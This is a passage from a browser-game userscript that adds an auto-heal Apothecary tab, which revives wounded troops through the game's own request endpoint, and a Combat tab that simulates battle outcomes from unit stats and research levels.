								if(AttackOptions.JewelItemsFoundCr[z]) { AttackOptions.JewelItemsFoundCr[z] += parseInt(item.quantity); }
								else { AttackOptions.JewelItemsFoundCr[z] = parseInt(item.quantity); }
							}	
						}
					}	
                  saveAttackOptions();
               };
            },
			onFailure: function (rslt) {},
		}, false);
   },
    
}

/******************* Apothecary Tab **********************/
Tabs.Apothecary = {
  tabOrder : 591,                    // order to place tab in top bar
  tabDisabled : false, // if true, tab will not be added or initialized
  tabLabel : 'Apothecary',            // label to show in main window tabs
  cities : [],
  pop : null,
  pop2 : null,
  myDiv : null,
  timer : null,
  rs : 0,
  rsok : true,
  lastrsok : true,
  
  init : function (div){    // called once, upon script startup
    var t = Tabs.Apothecary;
    t.myDiv = div;
    var cities = unsafeWindow.seed.cities;
    var unitcost = unsafeWindow.unitcost;
    var woundedUnits = unsafeWindow.seed.woundedUnits;
    var m = '<div class="pbStat">APOTHECARY TAB</div>\
        <table width="100%" height="0%" class="pbTab"><tr align="center">\
        <td><input type="submit" id="pbapothecary_power" value="Auto Heal = ' + (ApothecaryOptions.Active ? 'ON' : 'OFF') + '" /></td>\
        <td><input type="submit" id="pbapothecary_show" value="Show" /></td></tr></table>\
        <div class="pbStat" id="pbapothecary_options">OPTIONS</div>\
        <table width="100%" height="0%" class="pbTab"><tr><td>Keep Gold: <input type="text" id="pbapothecary_gold" size="6" value="' + ApothecaryOptions.goldkeep + '" /></td>\
        <td colspan="4"><span id="pbapothecary_citysel"></span></td></tr>\
        <tr><td colspan=2 align=left><INPUT id=pbrvTR type=checkbox '+(TrainOptions.rvtr?'CHECKED':'')+'> '+translate('Only revive when revive speed is at least')+' <INPUT id=pbrvTRset type=text size=3 maxlength=4 value="'+ TrainOptions.rvtrset +'">&nbsp;%</td><td colspan=2 align=right>Current Revive Speed:&nbsp;<span id=currrv></span>&nbsp;&nbsp;</td>\
        <tr><td>Troop type: <select id="pbapothecary_troops"><option value="0">--Select--</option>';
    for (y in unitcost)
        m += '<option value="' + y.substr(3) + '">' + unitcost[y][0] + '</option>';
    m += '</select></td>\
		<td>Min.: <input id="pbapothecary_min" type="text" size="4" /></td>\
        <td><input type="checkbox" id="pbapothecary_maxcheck" />Max.: <input id="pbapothecary_max" type="text" size="4" disabled="disabled" /></td>\
        <td><input type="submit" id="pbapothecary_save" value="Add" />&nbsp;<input type="submit" id="pbapothecary_now" value="Revive Now!" />&nbsp;<span id=pbrevivemsg style="color:#f00;">&nbsp;</span></td></tr></table>\
        <div class="pbStat">STATS</div>\
        <table width="100%" style ="font-size: 10px;"><thead><tr><th>&nbsp;</th>';
    for (i = 0; i < cities.length; i ++) {
        m += '<th>' + cities[i][1] + '</th>';
    }
    m += '<th>total</th></tr></thead>\
		<tr><td>Gold</td>';
    for (i = 0; i < cities.length; i ++) {
        var cid = 'city' + cities[i][0];
        m += '<td id="tdApoGold_' + cid + '" style="text-align: center; white-space: nowrap;">&nbsp;</td>';
    }
    m += '<td id=tdTotGold>&nbsp;</td></tr>\
        <tbody><tr><td>Building</td>';
    for (i = 0; i < cities.length; i ++) {
        var cid = 'city' + cities[i][0];
        m += '<td id="tdApoBuilding_' + cid + '" style="text-align: center; white-space: nowrap;">&nbsp;</td>';
    }
    m += '<td>&nbsp;</td></tr>\
        <tr><td class="pbStat" colspan="' + (cities.length + 2) + '">' + unsafeWindow.g_js_strings.revive.curintrain + '</td></tr>\
        <tr><td>Revive Queue 1</td>';
    for (i = 0; i < cities.length; i ++) {
        var cid = 'city' + cities[i][0];
        m += '<td id="tdApoRevQueue1_' + cid + '" style="text-align: right; white-space: nowrap;">&nbsp;</td>';
    }
    m += '<td>&nbsp;</td></tr>\
        <tr><td>Revive Queue 2</td>';
    for (i = 0; i < cities.length; i ++) {
        var cid = 'city' + cities[i][0];
        m += '<td id="tdApoRevQueue2_' + cid + '" style="text-align: right; white-space: nowrap;">&nbsp;</td>';
    }
    m += '<td>&nbsp;</td></tr>\
        <tr><td class="pbStat" colspan="' + (cities.length + 2) + '">' + unsafeWindow.g_js_strings.revive.wounded + '</td></tr>';
    for (uid in unitcost) {
        m += '<tr><td style="white-space: nowrap;">' + unitcost[uid][0] + '</td>';
        for (cid in woundedUnits) {
            m += '<td id="tdApoWoundedUnits_' + cid + '_' + uid + '" style="text-align: right;">&nbsp;</td>';
        }
        m += '<td id="tdApoWoundedUnits_total_' + uid + '" style="text-align: right;">&nbsp;</td></tr>';
    }
    m += '</tbody></table>';

    div.innerHTML = m;
    document.getElementById('pbrvTR').addEventListener ('change', function() {
        TrainOptions.rvtr = this.checked;
        saveTrainOptions();
	}, false);

	document.getElementById('pbrvTRset').addEventListener ('change', function() {
        TrainOptions.rvtrset = this.value;
        saveTrainOptions();
	}, false);
	
    setInterval(t.updateApoStats, 1 * 1000);
    $("pbapothecary_gold").addEventListener('change', function(){
        ApothecaryOptions.goldkeep = parseIntNan(this.value);
    },false);
    $("pbapothecary_maxcheck").addEventListener('click', function(){
        $("pbapothecary_max").disabled = !($("pbapothecary_maxcheck").checked);
    },false);
    $("pbapothecary_save").addEventListener('click', function(){
        t.e_addqueue();
    },false);
    $("pbapothecary_now").addEventListener('click', function(){
        t.revive_now(t.citysel.city.idx,$("pbapothecary_troops").value,parseIntNan($("pbapothecary_min").value),parseIntNan($("pbapothecary_max").value),$("pbapothecary_maxcheck").checked);
    },false);
    $("pbapothecary_power").addEventListener('click', function(){
        t.e_toggleswitch(this);
    },false);
    $("pbapothecary_show").addEventListener('click', function(){
        t.e_displayarray();
    },false);
    for (var cid in Cities.byID){
        var city = 'city'+cid;
        var x = Cities.byID[cid].idx;
        t.cities[x] = (getCityBuilding(cid, 21).count>0)?false: true;
      if(t.cities[x])
         t.cities[x] = (getCityBuilding(cid, 23).count>0)?false: true;
    }
    t.citysel = new CdispCityPicker ('pbapo_sel', document.getElementById("pbapothecary_citysel"), true, null, 0, t.cities);
    t.timer = setTimeout(t.loop,5000);
  },
  
  e_addqueue : function (){
    var t = Tabs.Apothecary;
    var city = t.citysel.city.idx;
    var troopsel = $("pbapothecary_troops").value;
    var min = parseIntNan($("pbapothecary_min").value);
    var max = parseIntNan($("pbapothecary_max").value);
    var max_sel = $("pbapothecary_maxcheck").checked;
    try {
        if((troopsel < 1 || min < 1) || (max_sel && max < 1) || (max_sel && (max < min)))
            throw "Incomplete/Invalid Input!";
        ApothecaryOptions.city[city].push({troop:troopsel,min:min,max:max,max_sel:max_sel});
        saveApothecaryOptions();
        $('pbapothecary_options').style.background ='#99FF99';
        setTimeout(function(){ ($('pbapothecary_options').style.background =''); }, 1000);
    } catch (e){
        $('pbapothecary_options').style.background ='#FF0000';
        setTimeout(function(){ ($('pbapothecary_options').style.background =''); }, 1000);
    }
  },
  
  e_displayarray : function(){
    var t = Tabs.Apothecary;
    if(t.pop == null)
        t.pop = new pbPopup('pbapothecary_pop',0,0,400,500,true,function(){t.pop.destroy(); t.pop = null;});
    t.pop.getTopDiv().innerHTML = '<DIV><center>Auto Heal Array</center></div>';
    var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><table><tr>';
    for (var city in ApothecaryOptions.city){
        if(!Cities.cities[city] || ApothecaryOptions.city[city].length < 1) continue;
        m += '<td colspan=2><b>'+Cities.cities[city].name+'</b></td>\
              <td>Minimum</td><td>Maximum</td><tr>';
        for(var i=0; i<ApothecaryOptions.city[city].length; i++){
            var info = ApothecaryOptions.city[city][i];
            m += '<td>'+(i+1)+'</td><td>'+unsafeWindow.unitcost['unt'+info.troop][0]+'</td>\
                  <td>'+info.min+'</td><td>'+info.max+'</td><td>'+strButton20('Edit','title="Apothecary edit" onclick="pbapo(this,'+i+','+city+')"')+'</td><td>'+strButton20('Delete','title="Apothecary delete" onclick="pbapo(this,'+i+','+city+')"')+'</td>';
            m += '</tr><tr>';
        }
        m += '</tr><tr>';
    }
    m += '</table></div>';
    t.pop.getMainDiv().innerHTML = m;
    unsafeWindow.pbapo = t.display_action;
    t.pop.show(true);
  },
  
  display_action : function(obj,id,city){
    var t = Tabs.Apothecary;
    var evt = null;
    if(obj.title.indexOf("edit") > 0)
        evt = "edit";
    if(obj.title.indexOf("delete") > 0)
        evt = "delete";
    if(evt == null || id == null) return;
    if(evt == "delete"){
        ApothecaryOptions.city[city].splice(id,1);
    }
    if(evt == "edit"){
        t.display_edit(id,city);
    }
    saveApothecaryOptions();
    t.e_displayarray();
  },
  
  display_edit : function(id, city){
    var t = Tabs.Apothecary;
    if(t.pop2 == null)
        t.pop2 = new pbPopup('pbapodisp_pop',410,0,300,150,true,function(){t.pop2.destroy(); t.pop2 = null;});
    var m = '<table><tr><td><b>'+Cities.cities[city].name+'</b></td></tr>';
    var info = ApothecaryOptions.city[city][id];
    m += '<tr><td>Troop Type: </td><td>'+unsafeWindow.unitcost['unt'+info.troop][0]+'</td></tr>\
          <tr><td>Minimum: </td><td><INPUT id=pbapodisp_min type=text size=4 value="'+info.min+'" \>\
          <tr><td><INPUT type=checkbox id=pbapodisp_maxcheck '+(info.max_sel?'CHECKED':'')+' /> Maximum: </td><td><INPUT id=pbapodisp_max type=text size=4 value="'+info.max+'" '+(info.max_sel?'':'DISABLED')+' \></td></tr>\
          <tr><td><INPUT type=submit id=pbapodisp_save value=Save /></td></tr>';
    t.pop2.getMainDiv().innerHTML = m;
    t.pop2.show(true);
    $('pbapodisp_save').addEventListener('click', function(){
        var min = parseIntNan($("pbapodisp_min").value);
        var max = parseIntNan($("pbapodisp_max").value);
        var max_sel = $("pbapodisp_maxcheck").checked;
        if(min < 1 || (max_sel && max < 1) || (max_sel && (max < min))){
            alert("Invalid/Incorrect input!");
            return;
        }
        info.min = min;
        info.max = max;
        info.max_sel = max_sel;
        saveApothecaryOptions();
        t.pop2.show(false);
        t.e_displayarray();
    },false);
  },
  
  loop : function(){
    var t = Tabs.Apothecary;
    clearTimeout(t.timer);
    if(!ApothecaryOptions.Active) return;
	if(!t.rsok) {t.timer = setTimeout(t.loop, 10000);return;}
	
    for (var city in ApothecaryOptions.city){
        if(!Cities.cities[city] || ApothecaryOptions.city[city].length < 1) continue;
        if(t.cities[city]) continue; //Skip if Apothecary doesn't exist
        if(Seed.queue_revive['city'+Cities.cities[city].id].length > 0 && Seed.queue_revive2['city'+Cities.cities[city].id].length > 0) continue; //Skip city if queue is full
        if(Seed.citystats["city" + Cities.cities[city].id].gold[0] < parseInt(ApothecaryOptions.goldkeep)) continue; //Skip if gold is less than reserve
        for(var i=0; i<ApothecaryOptions.city[city].length; i++){
            var info = ApothecaryOptions.city[city][i];
            var cid = Cities.cities[city].id;
            var amt = 0;
            if(Seed.woundedUnits['city'+cid]['unt'+info.troop] < info.min) continue;
            if(Seed.woundedUnits['city'+cid]['unt'+info.troop] > info.max && info.max_sel){
                amt = info.max;
            } else {
                amt = Seed.woundedUnits['city'+cid]['unt'+info.troop];
            }
            if(cid > 0 && info.troop > 0 && amt > 0){
                t.do_revive(cid,info.troop,amt);
                break;
            }
        }
    }
    t.timer = setTimeout(t.loop, 10000);
  },
  revive_now: function(city,troop,min,max,max_sel){
		var t = Tabs.Apothecary;
		document.getElementById('pbrevivemsg').innerHTML = "";
        if(t.cities[city]) {
			document.getElementById('pbrevivemsg').innerHTML = "No Apothecary!";
			return;
		}
		var cid = Cities.cities[city].id;
		var amt = 0;
        if(Seed.queue_revive['city'+Cities.cities[city].id].length > 0 && Seed.queue_revive2['city'+Cities.cities[city].id].length) {
			document.getElementById('pbrevivemsg').innerHTML = "Queue Full!";
			return;
		}
        if(Seed.citystats["city" + Cities.cities[city].id].gold[0] < parseInt(ApothecaryOptions.goldkeep)) {
			document.getElementById('pbrevivemsg').innerHTML = "Not Enough Gold!";
			return;
		}
		if(Seed.woundedUnits['city'+cid]['unt'+troop] < min) {
			document.getElementById('pbrevivemsg').innerHTML = "Not Enough Wounded!";
			return;
		}
		if(Seed.woundedUnits['city'+cid]['unt'+troop] > max && max_sel){
			amt = max;
		} else {
			amt = Seed.woundedUnits['city'+cid]['unt'+troop];
		}
		if(cid > 0 && troop > 0 && amt > 0){
			t.do_revive(cid,troop,amt);
		}		
  },
  
  e_toggleswitch : function(obj){
    var t = Tabs.Apothecary;
    if(ApothecaryOptions.Active){
        obj.value = "Auto Heal = OFF";
        ApothecaryOptions.Active = false;
        clearTimeout(t.timer);
    } else {
        obj.value = "Auto Heal = ON";
        ApothecaryOptions.Active = true;
        t.timer = setTimeout(t.loop,5000);
    }
    saveApothecaryOptions();
  },
  
  do_revive : function(currentcityid,unitId,num,notify){
    var t = Tabs.Apothecary;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.cid = currentcityid;
    params.type = unitId;
    params.quant = num;
    params.apothecary = true;
    var time = unsafeWindow.cm.RevivalModel.getRevivalStats(unitId, num).time;

    var profiler = new unsafeWindow.cm.Profiler("ResponseTime", "train.php");
    new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/train.php" + unsafeWindow.g_ajaxsuffix, {
        method: "post",
        parameters: params,
        onSuccess: function(rslt) {
            profiler.stop();
          if (rslt.ok) {
            for (var i = 1; i < 5; i++) {
                var resourceLost = parseInt(unsafeWindow.unitcost["unt" + unitId][i]) * 3600 * parseInt(num);
                if(rslt.gamble) resourceLost = resourceLost*rslt.gamble[i];
                unsafeWindow.seed.resources["city" + currentcityid]["rec" + i][0] = parseInt(unsafeWindow.seed.resources["city" + currentcityid]["rec" + i][0]) - resourceLost;
            }
            if (!rslt.initTS) {
                rslt.initTS = unixTime() - 1;
            }
			if (Seed.queue_revive["city" + currentcityid].length == 0) {
				recentlyEntryWasAddedQueue = Seed.queue_revive["city" + currentcityid]
			} else {
				recentlyEntryWasAddedQueue = Seed.queue_revive2["city" + currentcityid]
			}
			recentlyEntryWasAddedQueue.push([unitId, num, rslt.initTS, parseInt(rslt.initTS) + time, 0, time, null]);
            var cost = unsafeWindow.cm.RevivalModel.getRevivalStats(unitId, num).cost;
            Seed.citystats["city" + currentcityid].gold[0] -= parseInt(cost);
			var savecityid = unsafeWindow.currentcityid;
			unsafeWindow.currentcityid = currentcityid;
            unsafeWindow.update_gold();
            unsafeWindow.cm.WoundedModel.sub(unitId, num);
	        unsafeWindow.currentcityid = savecityid;
          } else {
            
          }
        },
      onFailure: function () {profiler.stop();}
    },true); // noretry
  },
  
  hide : function (){
    var t = Tabs.Apothecary;
  },
  
  show : function (){
    var t = Tabs.Apothecary;
  },

    updateApoStats : function () {
        var t = Tabs.Apothecary;
        var cities = unsafeWindow.seed.cities;
        var buildings = unsafeWindow.seed.buildings;
        var buildingcost = unsafeWindow.buildingcost;
        var unitcost = unsafeWindow.unitcost;
        var woundedUnits = unsafeWindow.seed.woundedUnits;
        var total = [];
        var html = '';
        for (uid in unitcost) {
            total[uid] = 0;
        }
		t.rs = Math.floor(equippedthronestats(97));
		document.getElementById("currrv").innerHTML = t.rs+'%';
		t.rsok = (!TrainOptions.rvtr || (t.rs >= Number(TrainOptions.rvtrset)));
		if (t.rsok != t.lastrsok) {
			if (!t.rsok) {
				unsafeWindow.jQuery('#currrv').css('color', 'red');
			}	
			else {	
				unsafeWindow.jQuery('#currrv').css('color', 'black');
			}
		}		
		t.lastrsok = t.rsok;
		
		var totGold = 0;
        for (i = 0; i < cities.length; i ++) {
            var cid = 'city' + cities[i][0];
            // building
            var blvl = [];
            for (bpos in buildings[cid]) {
                var btype = parseInt(buildings[cid][bpos][0]);
                if (btype == 21 || btype == 23) {
                    var bname = buildingcost['bdg' + buildings[cid][bpos][0]][0];
                    blvl.push('Lv.' + buildings[cid][bpos][1]);
                }
            }
            html = bname + '<br />(' + blvl.join(', ') + ')'
            document.getElementById('tdApoBuilding_' + cid).innerHTML = html;
            document.getElementById('tdApoGold_' + cid).innerHTML = addCommas(parseInt(Seed.citystats[cid]['gold'][0]));
			totGold = totGold + parseIntNan(Seed.citystats[cid]['gold'][0]);
            // revive queue
            var q1 = unsafeWindow.seed.queue_revive[cid];
            var u = '';
            var uid_q1 = '';
            if (q1 != null && q1.length > 0) {
                u = q1[0];
                uid_q1 = 'unt' + u[0];
                html = addCommas(u[1]) + ' ' + unitcost[uid_q1][0] + '<br />';
                if (parseInt(u[3]) > unsafeWindow.unixtime()) {
                    html += '(' + timestr(parseInt(u[3]) - unsafeWindow.unixtime()) + ')';
                } else {
                    html += '(done)';
					if (cid != unsafeWindow.currentcityid) {
						unsafeWindow.seed.units[cid][uid_q1] = parseInt(unsafeWindow.seed.units[cid][uid_q1]) + parseInt(u[1]);
						unsafeWindow.seed.queue_revive[cid].splice(0,1);
					}	
                }
            } else {
                html = '';
            }
            document.getElementById('tdApoRevQueue1_' + cid).innerHTML = html;
            // revive queue 2
            var q2 = unsafeWindow.seed.queue_revive2[cid];
            var u = '';
            var uid_q2 = '';
            if (q2 != null && q2.length > 0) {
                u = q2[0];
                uid_q2 = 'unt' + u[0]
                html = addCommas(u[1]) + ' ' + unitcost[uid_q2][0] + '<br />';
                if (parseInt(u[3]) > unsafeWindow.unixtime()) {
                    html += '(' + timestr(parseInt(u[3]) - unsafeWindow.unixtime()) + ')';
                } else {
                    html += '(done)';
					if (cid != unsafeWindow.currentcityid) {
						unsafeWindow.seed.units[cid][uid_q2] = parseInt(unsafeWindow.seed.units[cid][uid_q2]) + parseInt(u[1]);
						unsafeWindow.seed.queue_revive2[cid].splice(0,1);
					}	
                }
            } else {
                html = '';
            }
            document.getElementById('tdApoRevQueue2_' + cid).innerHTML = html;
            // wounded units
            for (uid in unitcost) {
                total[uid] += woundedUnits[cid][uid];
                html = addCommas(woundedUnits[cid][uid]);
                document.getElementById('tdApoWoundedUnits_' + cid + '_' + uid).innerHTML = html;
                if (uid == uid_q1 || uid == uid_q2) {
                    document.getElementById('tdApoWoundedUnits_' + cid + '_' + uid).style.color = '#006600';
                }
            }
        }
        // total
        for (uid in unitcost) {
            html = addCommas(total[uid]);
            document.getElementById('tdApoWoundedUnits_total_' + uid).innerHTML = html;
        }
		document.getElementById('tdTotGold').innerHTML = addCommas(totGold);
    }
}

/******************* Combat Tab **********************/
Tabs.Combat = {
    myDiv: null,
    tabOrder: 400,
    tabLabel : unsafeWindow.g_js_strings.commonstr.combat,
    troops: [{},{}], //Array[Defender, Attacker]
    active: [{},{}],
    lost: [{},{}],
    total: [],
    stats: unsafeWindow.unitstats,   //  Life, Attack, Defense, Speed, Range, Load
    priority: [[3,7,8,4,5,6,2,1,9,11,10,12],[12,10,6,3,7,8,4,5,2,1,9,11]],
    round: 0,
    range: [0,0,0], //[Defender, Attacker, Max]
    distance: [{},{}], // [Defender, Attacker]
    speed: [0,0], // [Defender max, Attacker max]
    start: 0,
    pop : null,
    
    init: function(div){
        var t = Tabs.Combat;
        t.myDiv = div;
        var m = '<table><TR><TD colspan=2><b>Attacking</b>&nbsp;&nbsp;<INPUT id=pbcombat_1 type=submit value=Research></td><TD colspan=2><b>Defending</b>&nbsp;&nbsp;<INPUT id=pbcombat_0 type=submit value=Research></td></TR>';
        for(var troops in unsafeWindow.unitcost){
            var name = unsafeWindow.unitcost[troops][0];
            m+='<tr><td>'+name+' :</td><td><input type=text id="pbcombata_'+troops+'" /></td><td>'+name+' :</td><td><input type=text id="pbcombatd_'+troops+'" /></td></tr>';
        }
        m+='</table><DIV id=pbcombat_rslt></div>';
        t.myDiv.innerHTML = m;
        
        for(var troops in unsafeWindow.unitcost){
            document.getElementById('pbcombata_'+troops).addEventListener('change', t.e_calculate, false);
            document.getElementById('pbcombatd_'+troops).addEventListener('change', t.e_calculate, false);
        }
        document.getElementById('pbcombat_1').addEventListener('click', function() t.e_research(1),false);
        document.getElementById('pbcombat_0').addEventListener('click', function() t.e_research(0),false);
    },
    
    e_research : function(side){
        var t = Tabs.Combat;
        t.pop = new pbPopup ('pbcombatresearch', 0, 0, 270, 250, true, function(){t.c_ratio(); t.pop.destroy();});
        t.pop.centerMe (mainPop.getMainDiv());
        t.pop.getTopDiv().innerHTML = '<CENTER><B>Research Levels</b>: '+ (side?'Attacker':'Defender') +'</center>';
        var m = '<DIV><TABLE>';
        for(var k in CombatOptions.research[side]){
            m += '<TR><TD>'+unsafeWindow.techcost[k][0]+':</td><td><input id="pbcombat_'+k+'" /></td></tr>';
        }
        m += '<TR><TD>Knight Combat:</td><td><input id="pbcombat_knt" value='+ CombatOptions.knt[side] +' /></td></tr>';
        m += '<TR><TD>Guardian: </td><td> \
              <table><tr><td>Type: </td><td>'+ htmlSelector({wood:'Wood',ore:'Ore'},CombatOptions.guardian[side][0],'id=pbcombat_guartype') +'</td></tr><tr>\
              <td>Level: </td><td><input id="pbcombat_guarlvl" value='+ CombatOptions.guardian[side][1] +' size=4 /></td></tr></table>\
              </td></tr>';
        m += '<TR><TD colspan=2><CENTER><button id=pbcombatresearchsave>Save</button></CENTER></td></tr></table></div>';
        t.pop.getMainDiv().innerHTML = m;
        t.pop.centerMe (mainPop.getMainDiv());
        t.pop.show (true);
        for(var k in CombatOptions.research[side]){
            t.e_saveresearch('pbcombat_'+k, k, side);
        }
        document.getElementById('pbcombat_knt').addEventListener('change',function(){
            CombatOptions.knt[side] = parseInt(document.getElementById('pbcombat_knt').value);
            saveCombatOptions();
        },false);
        document.getElementById('pbcombat_guartype').addEventListener('change',function(){
            CombatOptions.guardian[side][0] = document.getElementById('pbcombat_guartype').value;
            saveCombatOptions();
        },false);
        document.getElementById('pbcombat_guarlvl').addEventListener('change',function(){
            CombatOptions.guardian[side][1] = parseInt(document.getElementById('pbcombat_guarlvl').value);
            saveCombatOptions();
        },false);
        document.getElementById('pbcombatresearchsave').addEventListener('click',t.c_ratio,false);
    },
    
    e_saveresearch : function(checkboxId, optionName, side){
        var t = Tabs.Combat;
        var checkbox = document.getElementById(checkboxId);
        if (CombatOptions.research[side][optionName])
          checkbox.value = CombatOptions.research[side][optionName];
        checkbox.addEventListener ('change', new eventToggle(checkboxId, optionName, side).handler, false);
        function eventToggle (checkboxId, optionName, side){
          this.handler = handler;
          var optName = optionName;
          function handler(event){
            CombatOptions.research[side][optionName] = parseInt(this.value);
            saveCombatOptions();
          }
        }
    },
    
    c_ratio : function (){
        var t = Tabs.Combat;
        for(var k in CombatOptions.ratio[0]){
            var attack = parseFloat(t.c_attack(k,0));
            for(var tr in unsafeWindow.unitcost){
                var defense = parseFloat(t.c_defense(tr,1));
                var life = parseFloat(t.c_life(tr,1));
                var ratio = ((life+defense)/attack);
                CombatOptions.ratio[0][k][tr] = ratio.toFixed(20);
            }
        }
        for(var k in CombatOptions.ratio[1]){
            var attack = parseFloat(t.c_attack(k,1));
            for(var tr in unsafeWindow.unitcost){
                var defense = parseFloat(t.c_defense(tr,0));
                var life = parseFloat(t.c_life(tr,0));
                var ratio = ((life+defense)/attack);
                CombatOptions.ratio[1][k][tr] = ratio.toFixed(20);
            }
        }
    },
    
    e_calculate: function(){
        var t = Tabs.Combat;
        t.round = 0;
        t.total[0] = 0;
        t.total[1] = 0;
        t.range[0] = 0
        t.range[1] = 0;
        t.speed[0] = 0;
        t.speed[1] = 0;
        for(var tr in unsafeWindow.unitcost){
            var name = unsafeWindow.unitcost[tr][0];
            t.troops[0][tr] = parseIntNan(document.getElementById('pbcombatd_'+tr).value);
            t.troops[1][tr] = parseIntNan(document.getElementById('pbcombata_'+tr).value);
            t.total[0] += t.troops[0][tr];
            t.total[1] += t.troops[1][tr];
            t.lost[0][tr] = 0;
            t.lost[1][tr] = 0;
            t.active[0][tr] = 0;
            t.active[1][tr] = 0;
            if(t.troops[0][tr]>0 && parseInt(t.stats[tr][4]) > t.range[0]) t.range[0] = parseInt(t.stats[tr][4]);
            if(t.troops[1][tr]>0 && parseInt(t.stats[tr][4]) > t.range[1]) t.range[1] = parseInt(t.stats[tr][4]);
            if(t.troops[0][tr]>0 && parseInt(t.stats[tr][3]) > t.speed[0]) t.speed[0] = parseInt(t.stats[tr][3]);
            if(t.troops[1][tr]>0 && parseInt(t.stats[tr][3]) > t.speed[1]) t.speed[1] = parseInt(t.stats[tr][3]);
        }
        if(t.range[1]>t.range[0]){
            t.start = 1; //Attacker starts first if range is longer than defender
            t.range[2] = t.range[1];
        } else {
            t.start = 0;
            t.range[2] = t.range[0];
        }
        for(var tr in unsafeWindow.unitcost){
            if(t.troops[0][tr]>0)
                t.distance[0][tr] = parseInt(t.range[2]/((t.speed[1]/t.speed[0])+1));
            else
                t.distance[0][tr] = 0;
            if(t.troops[1][tr]>0)
                t.distance[1][tr] = parseInt(t.range[2]/((t.speed[0]/t.speed[1])+1));
            else
                t.distance[1][tr] = 0;
        }
        t.c_rounds();
    },
    
    c_rounds: function(){
        var t = Tabs.Combat;
        if(t.total[0]<1 || t.total[1]<1 || t.round>99){
            t.print();
            return;
        }
        t.round++;
        if(t.round>1){
            for(var tr in t.distance[0]){
                t.distance[0][tr] -= t.stats[tr][3];
                if(t.distance[0][tr] < 1) t.distance[0][tr] = 0;
            }
            for(var tr in t.distance[1]){
                t.distance[1][tr] -= t.stats[tr][3];
                if(t.distance[1][tr] < 1) t.distance[1][tr] = 0;
            }
        }
        t.c_remainder();
    },
    
    c_remainder: function(){  //  Life, Attack, Defense, Speed, Range, Load
        var t = Tabs.Combat;
        for(var tr in t.troops[0]){ //Only troops in range are counted
            if(t.stats[tr][4] >= (t.distance[0][tr]))
                t.active[0][tr] = t.troops[0][tr];
        }
        for(var tr in t.troops[1]){
            if(t.stats[tr][4] >= (t.distance[1][tr]))
                t.active[1][tr] = t.troops[1][tr];
        }
        //Defender
        for(var tr in t.active[0]){
            if(t.active[0][tr] < 1) continue;
            var range = t.stats[tr][4] - t.distance[0][tr];
            var count = 0;
            var type = 0;
            if(tr == 'unt6' || tr == 'unt10' || tr == 'unt12') type = 1;
            // GM_log('side0 '+type);
            while(t.active[0][tr] > 0 && count<t.priority[type].length){
                var trr = 'unt'+t.priority[type][count];
                if((t.troops[1][trr] < 1) || (range < t.distance[1][trr])){
                    count++;
                    continue;
                }
                if(parseInt(CombatOptions.ratio[0][tr][trr]) < 1){
                    if(t.active[0][tr] > t.troops[1][trr]){
                        t.active[0][tr] -= t.troops[1][trr];
                        t.lost[1][trr] += t.troops[1][trr];
                        t.total[1] -= t.troops[1][trr];
                        t.troops[1][trr] = 0;
                    }else {
                        t.lost[1][trr] += t.active[0][tr];
                        t.total[1] -= t.active[0][tr];
                        t.troops[1][trr] -= t.active[0][tr];
                        t.active[0][tr] = 0;
                    }
                } else {
                    var killed = parseInt(t.active[0][tr]/CombatOptions.ratio[0][tr][trr]);
                    if(killed > t.troops[1][trr]){
                        t.lost[1][trr] += t.troops[1][trr];
                        t.total[1] -= t.troops[1][trr];
                        t.active[0][tr] -= parseInt(CombatOptions.ratio[0][tr][trr]* t.troops[1][trr]);
                        t.troops[1][trr] = 0;
                    } else {
                        t.lost[1][trr] += killed;
                        t.total[1] -= killed;
                        t.troops[1][trr] -= killed;
                        t.active[0][tr] = 0;
                    }
                }
                count++;
            }
        }
        
        //Attacker
        for(var tr in t.active[1]){
            if(t.active[1][tr] < 1) continue;
            var range = t.stats[tr][4] - t.distance[1][tr];
            var count = 0;
            var type = 0;
            if(tr == 'unt6' || tr == 'unt10' || tr == 'unt12') type = 1;
            // GM_log('side1 '+type);
            while(t.active[1][tr] > 0 && count<t.priority[type].length){
                var trr = 'unt'+t.priority[type][count];
                if((t.troops[0][trr] < 1) || (range < t.distance[0][trr])){
                    count++;
                    continue;
                }
                if(parseInt(CombatOptions.ratio[1][tr][trr]) < 1){
                    if(t.active[1][tr] > t.troops[0][trr]){
                        t.active[1][tr] -= t.troops[0][trr];
                        t.lost[0][trr] += t.troops[0][trr];
                        t.total[0] -= t.troops[0][trr];
                        t.troops[0][trr] = 0;
                    }else {
                        t.lost[0][trr] += t.active[1][tr];
                        t.total[0] -= t.active[1][tr];
                        t.troops[0][trr] -= t.active[1][tr];
                        t.active[1][tr] = 0;
                    }
                } else {
                    var killed = parseInt(t.active[1][tr]/CombatOptions.ratio[1][tr][trr]);
                    if(killed > t.troops[0][trr]){
                        t.lost[0][trr] += t.troops[0][trr];
                        t.total[0] -= t.troops[0][trr];
                        t.active[1][tr] -= parseInt(CombatOptions.ratio[1][tr][trr]* t.troops[0][trr]);
                        t.troops[0][trr] = 0;
                    } else {
                        t.lost[0][trr] += killed;
                        t.total[0] -= killed;
                        t.troops[0][trr] -= killed;
                        t.active[1][tr] = 0;
                    }
                }
                count++;
            }
        }
        t.c_rounds();
    },
    
    c_attack: function(tr,side){
        var t = Tabs.Combat;
        var att = t.stats[tr][1];
        if(CombatOptions.research[side].tch8) //Add Poison Edge
            att += t.stats[tr][1]*parseFloat(CombatOptions.research[side].tch8*5/100);
        if(CombatOptions.guardian[side][0] == 'ore' && side == 1){ //Add Guardian Boost
            var boost = 0;
            switch(CombatOptions.guardian[side][1]){
                case 1:
                    boost = 0.02;
                    break;
                case 2:
                    boost = 0.04;
                    break;
                case 3:
                    boost = 0.06;
                    break;
                case 4:
                    boost = 0.08;
                    break;
                case 5:
                    boost = 0.12;
                    break;
                case 6:
                    boost = 0.16;
                    break;
                case 7:
                    boost = 0.20;
                    break;
                case 8:
                    boost = 0.26;
                    break;
                case 9:
                    boost = 0.32;
                    break;
                case 10:
                    boost = 0.40;
                    break;
                default:
                    boost = 0;
            }
            att += t.stats[tr][1]*boost;
        }
        if(CombatOptions.knt[side]) //Add knight boost
            att += t.stats[tr][1]*parseFloat((CombatOptions.knt[side]/2)/100);
        // logit('side'+side+' '+tr+' att'+att);
        return att;
    },
    c_defense: function(tr,side){
        var t = Tabs.Combat;
        var def = t.stats[tr][2];
        if(CombatOptions.research[side].tch9) //Add Metal Alloy
            def += t.stats[tr][2]*parseFloat(CombatOptions.research[side].tch9*5/100);
